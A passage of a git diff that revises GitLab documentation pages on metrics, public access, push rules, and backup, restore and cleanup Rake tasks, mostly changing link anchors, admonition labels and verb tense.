src="https://dashboards.gitlab.com/d/RZmbBr7mk/gitlab-triage?orgId=1&refresh=30s&var-env=gprd&var-environment=gprd&var-prometheus=prometheus-01-inf-gprd&var-prometheus_app=prometheus-app-01-inf-gprd&var-backend=All&var-type=All&var-stage=main&from=1580444107655&to=1580465707655"/> diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md index 6ce0bd42d3c..7cd18e5606b 100644 --- a/doc/operations/metrics/index.md +++ b/doc/operations/metrics/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitor your environment's metrics **(CORE)** @@ -147,7 +147,7 @@ After saving them, they display on the environment metrics dashboard provided th A few fields are required: - **Name**: Chart title -- **Type**: Type of metric. Metrics of the same type will be shown together. +- **Type**: Type of metric. Metrics of the same type are shown together. - **Query**: Valid [PromQL query](https://prometheus.io/docs/prometheus/latest/querying/basics/). - **Y-axis label**: Y axis title to display on the dashboard. - **Unit label**: Query units, for example `req / sec`. Shown next to the value. diff --git a/doc/operations/moving_repositories.md b/doc/operations/moving_repositories.md index 57d47e3e9ea..07df1607d37 100644 --- a/doc/operations/moving_repositories.md +++ b/doc/operations/moving_repositories.md @@ -3,3 +3,6 @@ redirect_to: '../administration/operations/moving_repositories.md' --- This document was moved to [another location](../administration/operations/moving_repositories.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/product_analytics.md b/doc/operations/product_analytics.md index 65dced97002..e6e887b9738 100644 --- a/doc/operations/product_analytics.md +++ b/doc/operations/product_analytics.md @@ -1,7 +1,7 @@ --- stage: Growth group: Product Analytics -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Product Analytics **(CORE)** @@ -70,7 +70,7 @@ database from growing too quickly. Product Analytics stores events are stored in GitLab database. -CAUTION: **Caution:** +WARNING: This data storage is experimental, and GitLab is likely to remove this data during future development. diff --git a/doc/operations/sidekiq_memory_killer.md b/doc/operations/sidekiq_memory_killer.md index 2df4a6e5648..b98e4abb4d0 100644 --- a/doc/operations/sidekiq_memory_killer.md +++ b/doc/operations/sidekiq_memory_killer.md @@ -3,3 +3,6 @@ redirect_to: '../administration/operations/sidekiq_memory_killer.md' --- This document was moved to [another location](../administration/operations/sidekiq_memory_killer.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/tracing.md b/doc/operations/tracing.md index b6ef552772e..c08651560e0 100644 --- a/doc/operations/tracing.md +++ b/doc/operations/tracing.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Tracing @@ -38,4 +38,4 @@ GitLab provides an easy way to open the Jaeger UI from within your project: 1. Navigate to your project's **Settings > Operations** and provide the Jaeger URL. 1. Click **Save changes** for the changes to take effect. 1. You can now visit **Operations > Tracing** in your project's sidebar and - GitLab will redirect you to the configured Jaeger URL. + GitLab redirects you to the configured Jaeger URL. diff --git a/doc/operations/unicorn.md b/doc/operations/unicorn.md index 949f4a66c9d..d10b7f8bbb9 100644 --- a/doc/operations/unicorn.md +++ b/doc/operations/unicorn.md @@ -3,3 +3,6 @@ redirect_to: '../administration/operations/unicorn.md' --- This document was moved to [another location](../administration/operations/unicorn.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/permissions/permissions.md b/doc/permissions/permissions.md index 85923a40b2c..38b68ff9e42 100644 --- a/doc/permissions/permissions.md +++ b/doc/permissions/permissions.md @@ -5,3 +5,6 @@ redirect_to: '../user/permissions.md' # Permissions This document was moved to [user/permissions.md](../user/permissions.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md index 9edec660d5f..e097d2c24a8 100644 --- a/doc/policy/maintenance.md +++ b/doc/policy/maintenance.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts --- @@ -63,13 +63,13 @@ one major version. For example, it is safe to: - `12.0.4` -> `12.0.12` - `11.11.1` -> `11.11.8` -NOTE: **Note:** +NOTE: Version specific changes in Omnibus GitLab Linux packages can be found in [the Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/update/README.html#version-specific-changes). -NOTE: **Note:** +NOTE: Instructions are available for downloading an Omnibus GitLab Linux package locally and [manually installing](https://docs.gitlab.com/omnibus/manual_install.html) it. -NOTE: **Note:** +NOTE: A step-by-step guide to [upgrading the Omnibus-bundled PostgreSQL is documented separately](https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server). ## Upgrading major versions diff --git a/doc/public_access/public_access.md b/doc/public_access/public_access.md index 1f9486dc324..8d751d10aa5 100644 --- a/doc/public_access/public_access.md +++ b/doc/public_access/public_access.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -17,22 +17,22 @@ public access directory (`/public` under your GitLab instance), like at <https:/ Public projects can be cloned **without any** authentication over HTTPS. -They will be listed in the public access directory (`/public`) for all users. +They are listed in the public access directory (`/public`) for all users. -**Any logged in user** will have [Guest permissions](../user/permissions.md) +**Any logged in user** has [Guest permissions](../user/permissions.md) on the repository. ### Internal projects Internal projects can be cloned by any logged in user except [external users](../user/permissions.md#external-users). -They will also be listed in the public access directory (`/public`), but only for logged +They are also listed in the public access directory (`/public`), but only for logged in users. -Any logged in user except [external users](../user/permissions.md#external-users) will have [Guest permissions](../user/permissions.md) +Any logged in users except [external users](../user/permissions.md#external-users) have [Guest permissions](../user/permissions.md) on the repository. -NOTE: **Note:** +NOTE: From July 2019, the `Internal` visibility setting is disabled for new projects, groups, and snippets on GitLab.com. Existing projects, groups, and snippets using the `Internal` visibility setting keep this setting. You can read more about the change in the @@ -42,7 +42,7 @@ visibility setting keep this setting. You can read more about the change in the Private projects can only be cloned and viewed by project members (except for guests). -They will appear in the public access directory (`/public`) for project members only. +They appear in the public access directory (`/public`) for project members only. ### How to change project visibility @@ -51,7 +51,7 @@ They will appear in the public access directory (`/public`) for project members ## Visibility of groups -NOTE: **Note:** +NOTE: [Starting with](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3323) GitLab 8.6, the group visibility has changed and can be configured the same way as projects. In previous versions, a group's page was always visible to all users. @@ -59,7 +59,7 @@ In previous versions, a group's page was always visible to all users. Like with projects, the visibility of a group can be set to dictate whether anonymous users, all signed in users, or only explicit group members can view it. The restriction for visibility levels on the application setting level also -applies to groups, so if that's set to internal, the explore page will be empty +applies to groups, so if that's set to internal, the explore page is empty for anonymous users. The group page now has a visibility level icon. Admin users cannot create subgroups or projects with higher visibility level than that of the immediate parent group. @@ -96,7 +96,7 @@ For details, see [Restricted visibility levels](../user/admin_area/settings/visi > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33358) in GitLab 12.6. -Reducing a project's visibility level will remove the fork relationship between the project and +Reducing a project's visibility level removes the fork relationship between the project and any forked project. This is a potentially destructive action which requires confirmation before this can be saved. diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md index d2ec157788a..99a5ac8ed3b 100644 --- a/doc/push_rules/push_rules.md +++ b/doc/push_rules/push_rules.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -75,7 +75,7 @@ See [server hooks](../administration/server_hooks.md) for more information. ## Enabling push rules -NOTE: **Note:** +NOTE: GitLab administrators can set push rules globally under **Admin Area > Push Rules** that all new projects will inherit. You can later override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules). @@ -100,7 +100,7 @@ The following options are available. | Prohibited file names | **Starter** 7.10 | Any committed filenames that match this regular expression and do not already exist in the repository are not allowed to be pushed. Leave empty to allow any filenames. See [common examples](#prohibited-file-names). | | Maximum file size | **Starter** 7.12 | Pushes that contain added or updated files that exceed this file size (in MB) are rejected. Set to 0 to allow files of any size. Files tracked by Git LFS are exempted. | -TIP: **Tip:** +NOTE: GitLab uses [RE2 syntax](https://github.com/google/re2/wiki/Syntax) for regular expressions in push rules, and you can test them at the [regex101 regex tester](https://regex101.com/). ## Prevent pushing secrets to the repository @@ -116,7 +116,7 @@ pushes to the repository when a file matches a regular expression as read from [`files_denylist.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/gitlab/checks/files_denylist.yml) (make sure you are at the right branch as your GitLab version when viewing this file). -NOTE: **Note:** +NOTE: Files already committed won't get restricted by this push rule. Below is an example list of what will be rejected by these regular expressions: diff --git a/doc/raketasks/README.md b/doc/raketasks/README.md index 4d2185c62f2..a42bf2a5d91 100644 --- a/doc/raketasks/README.md +++ b/doc/raketasks/README.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- @@ -42,6 +42,7 @@ The following are available Rake tasks: | [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. | | [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between storage local and object storage. | | [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. | +| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/product_analytics/usage_ping.md).| | [User management](user_management.md) | Perform user management tasks. | | [Webhooks administration](web_hooks.md) | Maintain project Webhooks. | | [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, useful if certificate store has changed. | diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md index a06fe00ef0d..03ffd6bd6ad 100644 --- a/doc/raketasks/backup_restore.md +++ b/doc/raketasks/backup_restore.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Back up and restore GitLab **(CORE ONLY)** @@ -15,8 +15,8 @@ You can only restore a backup to **exactly the same version and type (CE/EE)** of GitLab on which it was created. The best way to migrate your repositories from one server to another is through backup restore. -CAUTION: **Warning:** -GitLab won't back up items that aren't stored in the filesystem. If you're +WARNING: +GitLab doesn't back up items that aren't stored in the filesystem. If you're using [object storage](../administration/object_storage.md), be sure to enable backups with your object storage provider, if desired. @@ -38,8 +38,8 @@ system. If you installed GitLab: ## Backup timestamp -The backup archive will be saved in `backup_path`, which is specified in the -`config/gitlab.yml` file. The filename will be `[TIMESTAMP]_gitlab_backup.tar`, +The backup archive is saved in `backup_path`, which is specified in the +`config/gitlab.yml` file. The filename is `[TIMESTAMP]_gitlab_backup.tar`, where `TIMESTAMP` identifies the time at which each backup was created, plus the GitLab version. The timestamp is needed if you need to restore GitLab and multiple backups are available. @@ -62,7 +62,7 @@ including: - GitLab Pages content - Snippets -CAUTION: **Warning:** +WARNING: GitLab does not back up any configuration files, SSL certificates, or system files. You are highly advised to read about [storing configuration files](#storing-configuration-files). @@ -112,8 +112,8 @@ kubectl exec -it <gitlab task-runner pod> backup-utility ``` Similar to the Kubernetes case, if you have scaled out your GitLab cluster to -use multiple application servers, you should pick a designated node (that won't -be auto-scaled away) for running the backup Rake task. Because the backup Rake +use multiple application servers, you should pick a designated node (that isn't +auto-scaled away) for running the backup Rake task. Because the backup Rake task is tightly coupled to the main Rails application, this is typically a node on which you're also running Unicorn/Puma or Sidekiq. @@ -154,7 +154,7 @@ items including encrypted information for two-factor authentication and the CI/CD _secure variables_. Storing encrypted information in the same location as its key defeats the purpose of using encryption in the first place. -CAUTION: **Warning:** +WARNING: The secrets file is essential to preserve your database encryption key. At the very **minimum**, you must backup: @@ -200,11 +200,11 @@ data locations to the backup using the Linux command `tar` and `gzip`. This work fine in most cases, but can cause problems when data is rapidly changing. When data changes while `tar` is reading it, the error `file changed as we read -it` may occur, and will cause the backup process to fail. To combat this, 8.17 +it` may occur, and causes the backup process to fail. To combat this, 8.17 introduces a new backup strategy called `copy`. The strategy copies data files to a temporary location before calling `tar` and `gzip`, avoiding the error. -A side-effect is that the backup process will take up to an additional 1X disk +A side-effect is that the backup process takes up to an additional 1X disk space. The process does its best to clean up the temporary files at each stage so the problem doesn't compound, but it could be a considerable change for large installations. This is why the `copy` strategy is not the default in 8.17. @@ -220,8 +220,8 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back #### Backup filename -CAUTION: **Warning:** -If you use a custom backup filename, you will not be able to +WARNING: +If you use a custom backup filename, you can't [limit the lifetime of the backups](#limit-backup-lifetime-for-local-files-prune-old-backups). By default, a backup file is created according to the specification in the @@ -235,8 +235,8 @@ sudo gitlab-backup create BACKUP=dump Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:backup:create` instead. -The resulting file will then be `dump_gitlab_backup.tar`. This is useful for -systems that make use of rsync and incremental backups, and will result in +The resulting file is named `dump_gitlab_backup.tar`. This is useful for +systems that make use of rsync and incremental backups, and results in considerably faster transfer speeds. #### Rsyncable @@ -257,22 +257,25 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back #### Excluding specific directories from the backup -You can choose what should be exempt from the backup by adding the environment -variable `SKIP`. The available options are: +You can exclude specific directories from the backup by adding the environment variable `SKIP`, whose values are a comma-separated list of the following options: - `db` (database) - `uploads` (attachments) -- `repositories` (Git repositories data) - `builds` (CI job output logs) - `artifacts` (CI job artifacts) - `lfs` (LFS objects) - `registry` (Container Registry images) - `pages` (Pages content) +- `repositories` (Git repositories data) -Use a comma to specify several options at the same time: +All wikis are backed up as part of the `repositories` group. Non-existent wikis are skipped during a backup. -All wikis will be backed up as part of the `repositories` group. Non-existent -wikis will be skipped during a backup. +NOTE: +When [backing up and restoring Helm Charts](https://docs.gitlab.com/charts/architecture/backup-restore.html), there is an additional option `packages`, which refers to any packages managed by the GitLab [package registry](../user/packages/package_registry/index.md). +For more information see [command line arguments](https://docs.gitlab.com/charts/architecture/backup-restore.html#command-line-arguments). + +All wikis are backed up as part of the `repositories` group. Non-existent +wikis are skipped during a backup. For Omnibus GitLab packages: @@ -297,7 +300,7 @@ harmful, so you can skip this step by adding `tar` to the `SKIP` environment variable. Adding `tar` to the `SKIP` variable leaves the files and directories containing the -backup in the directory used for the intermediate files. These files will be +backup in the directory used for the intermediate files. These files are overwritten when a new backup is created, so you should make sure they are copied elsewhere, because you can only have one backup on the system. @@ -454,7 +457,7 @@ For installations from source: 1. [Restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect -If you're uploading your backups to S3, you'll probably want to create a new +If you're uploading your backups to S3, you should create a new IAM user with restricted access rights. To give the upload user access only for uploading backups create the following IAM profile, replacing `my.s3.bucket` with the name of your bucket: @@ -620,11 +623,11 @@ as (for Omnibus packages, this is the `git` user). The `backup_upload_remote_directory` _must_ be set in addition to the `local_root` key. This is the sub directory inside the mounted directory that -backups will be copied to, and will be created if it does not exist. If the +backups are copied to, and is created if it does not exist. If the directory that you want to copy the tarballs to is the root of your mounted directory, use `.` instead. -Because file system performance may affect GitLab's overall performance, +Because file system performance may affect overall GitLab performance, [GitLab doesn't recommend using EFS for storage](../administration/nfs.md#avoid-using-awss-elastic-file-system-efs). For Omnibus GitLab packages: @@ -667,8 +670,8 @@ For installations from source: #### Backup archive permissions The backup archives created by GitLab (`1393513186_2014_02_27_gitlab_backup.tar`) -will have owner/group `git`/`git` and 0600 permissions by default. This is -meant to avoid other system users reading GitLab's data. If you need the backup +have the owner/group `git`/`git` and 0600 permissions by default. This is +meant to avoid other system users reading GitLab data. If you need the backup archives to have different permissions, you can use the `archive_permissions` setting. @@ -697,7 +700,7 @@ For installations from source: #### Configuring cron to make daily backups -CAUTION: **Warning:** +WARNING: The following cron jobs do not [backup your GitLab configuration files](#storing-configuration-files) or [SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079). @@ -740,8 +743,8 @@ output if there aren't any errors. This is recommended to reduce cron spam. ### Limit backup lifetime for local files (prune old backups) -CAUTION: **Warning:** -The process described in this section will not work if you used a [custom filename](#backup-filename) +WARNING: +The process described in this section don't work if you used a [custom filename](#backup-filename) for your backups. To prevent regular backups from using all your disk space, you may want to set a limited lifetime @@ -791,8 +794,8 @@ once before attempting to perform it in a production environment. You can restore a backup only to _the exact same version and type (CE/EE)_ of GitLab that you created it on (for example CE 9.1.0). -If your backup is a different version than the current installation, you'll -need to [downgrade your GitLab installation](https://docs.gitlab.com/omnibus/update/README.html#downgrade) +If your backup is a different version than the current installation, you must +[downgrade your GitLab installation](https://docs.gitlab.com/omnibus/update/README.html#downgrade) before restoring the backup. ### Restore prerequisites @@ -800,17 +803,17 @@ before restoring the backup. You need to have a working GitLab installation before you can perform a restore. This is because the system user performing the restore actions (`git`) is usually not allowed to create or delete the SQL database needed to import -data into (`gitlabhq_production`). All existing data will be either erased +data into (`gitlabhq_production`). All existing data is either erased (SQL) or moved to a separate directory (such as repositories and uploads). -To restore a backup, you'll also need to restore `/etc/gitlab/gitlab-secrets.json` +To restore a backup, you must restore `/etc/gitlab/gitlab-secrets.json` (for Omnibus packages) or `/home/git/gitlab/.secret` (for installations from source). This file contains the database encryption key, [CI/CD variables](../ci/variables/README.md#gitlab-cicd-environment-variables), and variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md). If you fail to restore this encryption key file along with the application data -backup, users with two-factor authentication enabled and GitLab Runner will -lose access to your GitLab server. +backup, users with two-factor authentication enabled and GitLab Runner +loses access to your GitLab server. You may also want to restore any TLS keys, certificates, or [SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079). @@ -825,7 +828,7 @@ more of the following options: - `BACKUP=timestamp_of_backup`: Required if more than one backup exists. Read what the [backup timestamp is about](#backup-timestamp). - `force=yes`: Doesn't ask if the authorized_keys file should get regenerated, - and assumes 'yes' for warning that database tables will be removed, + and assumes 'yes' for warning about database tables being removed, enabling the "Write to authorized_keys file" setting, and updating LDAP providers. @@ -837,11 +840,22 @@ Read more about [configuring NFS mounts](../administration/nfs.md) ### Restore for installation from source +First, ensure your backup tar file is in the backup directory described in the +`gitlab.yml` configuration: + +```yaml +## Backup settings +backup: + path: "tmp/backups" # Relative paths are relative to Rails.root (default: tmp/backups/) +``` + +The default is `/home/git/gitlab/tmp/backups`, and it needs to be owned by the `git` user. Now, you can begin the backup procedure: + ```shell # Stop processes that are connected to the database sudo service gitlab stop -bundle exec rake gitlab:backup:restore RAILS_ENV=production +sudo -u git -H bundle exec rake gitlab:backup:restore RAILS_ENV=production ``` Example output: @@ -923,7 +937,7 @@ sudo gitlab-backup restore BACKUP=11493107454_2018_04_25_10.6.4-ce Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:backup:restore` instead. -CAUTION: **Warning:** +WARNING: `gitlab-rake gitlab:backup:restore` doesn't set the correct file system permissions on your Registry directory. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62759). On GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this @@ -945,7 +959,7 @@ installed version of GitLab, the restore command aborts with an error message. Install the [correct GitLab version](https://packages.gitlab.com/gitlab/), and then try again. -NOTE: **Note:** +NOTE: There is a known issue with restore not working with `pgbouncer`. [Read more about backup and restore with `pgbouncer`](#backup-and-restore-for-installations-using-pgbouncer). ### Restore for Docker image and GitLab Helm chart installations @@ -985,7 +999,7 @@ docker exec -it <name of container> gitlab-rake gitlab:check SANITIZE=true Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:backup:create` instead. -CAUTION: **Warning:** +WARNING: `gitlab-rake gitlab:backup:restore` doesn't set the correct file system permissions on your Registry directory. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62759). On GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this @@ -1033,7 +1047,7 @@ Example: LVM snapshots + rsync > A GitLab server using Omnibus GitLab, with an LVM logical volume mounted at `/var/opt/gitlab`. > Replicating the `/var/opt/gitlab` directory using rsync would not be reliable because too many files would change while rsync is running. > Instead of rsync-ing `/var/opt/gitlab`, we create a temporary LVM snapshot, which we mount as a read-only filesystem at `/mnt/gitlab_backup`. -> Now we can have a longer running rsync job which will create a consistent replica on the remote server. +> Now we can have a longer running rsync job which creates a consistent replica on the remote server. > The replica includes all repositories, uploads and PostgreSQL data. If you're running GitLab on a virtualized server, you can possibly also create @@ -1045,7 +1059,7 @@ practical use. Do NOT backup or restore GitLab through a PgBouncer connection. These tasks must [bypass PgBouncer and connect directly to the PostgreSQL primary database node](#bypassing-pgbouncer), -or they will cause a GitLab outage. +or they cause a GitLab outage. When the GitLab backup or restore task is used with PgBouncer, the following error message is shown: @@ -1170,7 +1184,7 @@ unexpected behaviors, such as: In this case, you must reset all the tokens for CI/CD variables and runner authentication, which is described in more detail in the following sections. After resetting the tokens, you should be able to visit your project -and the jobs will have started running again. +and the jobs begin running again. Use the information in the following sections at your own risk. @@ -1183,7 +1197,7 @@ You can determine if you have undecryptable values in the database by using the You must directly modify GitLab data to work around your lost secrets file. -CAUTION: **Warning:** +WARNING: Be sure to create a full database backup before attempting any changes. #### Disable user two-factor authentication (2FA) @@ -1244,7 +1258,7 @@ You may need to reconfigure or restart GitLab for the changes to take effect. 1. Clear all tokens for projects, groups, and the entire instance: - CAUTION: **Caution:** + WARNING: The final `UPDATE` operation stops the runners from being able to pick up new jobs. You must register new runners. diff --git a/doc/raketasks/check.md b/doc/raketasks/check.md index ceb089e80c0..1a8149ca04a 100644 --- a/doc/raketasks/check.md +++ b/doc/raketasks/check.md @@ -3,3 +3,6 @@ redirect_to: '../administration/raketasks/check.md' --- This document was moved to [another location](../administration/raketasks/check.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/raketasks/cleanup.md b/doc/raketasks/cleanup.md index 00a3e9196e2..0c184aa0075 100644 --- a/doc/raketasks/cleanup.md +++ b/doc/raketasks/cleanup.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Clean up **(CORE ONLY)** @@ -12,13 +12,13 @@ GitLab provides Rake tasks for cleaning up GitLab instances. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36628) in GitLab 12.10. -DANGER: **Warning:** +WARNING: Do not run this within 12 hours of a GitLab upgrade. This is to ensure that all background migrations have finished, which otherwise may lead to data loss. When you remove LFS files from a repository's history, they become orphaned and continue to consume disk space. With this Rake task, you can remove invalid references from the database, which -will allow garbage collection of LFS files. +allows garbage collection of LFS files. For example: @@ -44,7 +44,7 @@ By default, this task does not delete anything but shows how many file reference delete. Run the command with `DRY_RUN=false` if you actually want to delete the references. You can also use `LIMIT={number}` parameter to limit the number of deleted references. -Note that this Rake task only removes the references to LFS files. Unreferenced LFS files will be garbage-collected +Note that this Rake task only removes the references to LFS files. Unreferenced LFS files are garbage-collected later (once a day). If you need to garbage collect them immediately, run `rake gitlab:cleanup:orphan_lfs_files` described below. @@ -148,8 +148,8 @@ I, [2018-08-02T10:26:47.764356 #45087] INFO -- : Moved to lost and found: @hash > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29681) in GitLab 12.1. > - [`ionice` support fixed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28023) in GitLab 12.10. -NOTE: **Note:** -These commands will not work for artifacts stored on +NOTE: +These commands don't work for artifacts stored on [object storage](../administration/object_storage.md). When you notice there are more job artifacts files and/or directories on disk than there @@ -179,10 +179,10 @@ You can also limit the number of files to delete with `LIMIT`: sudo gitlab-rake gitlab:cleanup:orphan_job_artifact_files LIMIT=100 ``` -This will only delete up to 100 files from disk. You can use this to -delete a small set for testing purposes. +This deletes only up to 100 files from disk. You can use this to delete a small +set for testing purposes. -If you provide `DEBUG=1`, you'll see the full path of every file that +Providing `DEBUG=1` displays the full path of every file that is detected as being an orphan. If `ionice` is installed, the tasks uses it to ensure the command is diff --git a/doc/raketasks/features.md b/doc/raketasks/features.md index ecdf6aee069..bf67522c256 100644 --- a/doc/raketasks/features.md +++ b/doc/raketasks/features.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Namespaces **(CORE ONLY)** @@ -10,13 +10,12 @@ This Rake task enables [namespaces](../user/group/index.md#namespaces) for proje ## Enable usernames and namespaces for user projects -This command will enable the namespaces feature introduced in GitLab 4.0. It will move every project in its namespace folder. +This command enables the namespaces feature introduced in GitLab 4.0. It moves every project in its namespace folder. -Note: +The **repository location changes as part of this task**, so you must **update all your Git URLs** to +point to the new location. -- The **repository location will change**, so you will need to **update all your Git URLs** to - point to the new location. -- The username can be changed at **Profile > Account**. +The username can be changed at **Profile > Account**. For example: diff --git a/doc/raketasks/generate_sample_prometheus_data.md b/doc/raketasks/generate_sample_prometheus_data.md index f37aa95c63b..9dbdf053693 100644 --- a/doc/raketasks/generate_sample_prometheus_data.md +++ b/doc/raketasks/generate_sample_prometheus_data.md @@ -1,12 +1,12 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Generate sample Prometheus data **(CORE ONLY)** -This command will run Prometheus queries for each of the metrics of a specific environment +This command runs Prometheus queries for each of the metrics of a specific environment for a series of time intervals to now: - 30 minutes diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md index ecd777361a7..648cd784c1b 100644 --- a/doc/raketasks/import.md +++ b/doc/raketasks/import.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import bare repositories **(CORE ONLY)** @@ -13,13 +13,13 @@ please use [our project-based import/export](../user/project/settings/import_exp Note that: -- The owner of the project will be the first administrator. -- The groups will be created as needed, including subgroups. -- The owner of the group will be the first administrator. -- Existing projects will be skipped. +- The owner of the project is the first administrator. +- The groups are created as needed, including subgroups. +- The owner of the group is the first administrator. +- Existing projects are skipped. - Projects in hashed storage may be skipped. For more information, see [Importing bare repositories from hashed storage](#importing-bare-repositories-from-hashed-storage). -- The existing Git repositories will be moved from disk (removed from the original path). +- The existing Git repositories ware moved from disk (removed from the original path). To import bare repositories into a GitLab instance: @@ -35,8 +35,8 @@ To import bare repositories into a GitLab instance: 1. Copy your bare repositories inside this newly created folder. Note: - - Any `.git` repositories found on any of the subfolders will be imported as projects. - - Groups will be created as needed, these could be nested folders. + - Any `.git` repositories found on any of the subfolders are imported as projects. + - Groups are created as needed, these could be nested folders. For example, if we copy the repositories to `/var/opt/gitlab/git-data/repository-import-2020-08-22`, and repository `A` needs to be under the groups `G1` and `G2`, it must be created under those folders: diff --git a/doc/raketasks/list_repos.md b/doc/raketasks/list_repos.md index 192a65f6a62..e2442df3418 100644 --- a/doc/raketasks/list_repos.md +++ b/doc/raketasks/list_repos.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see 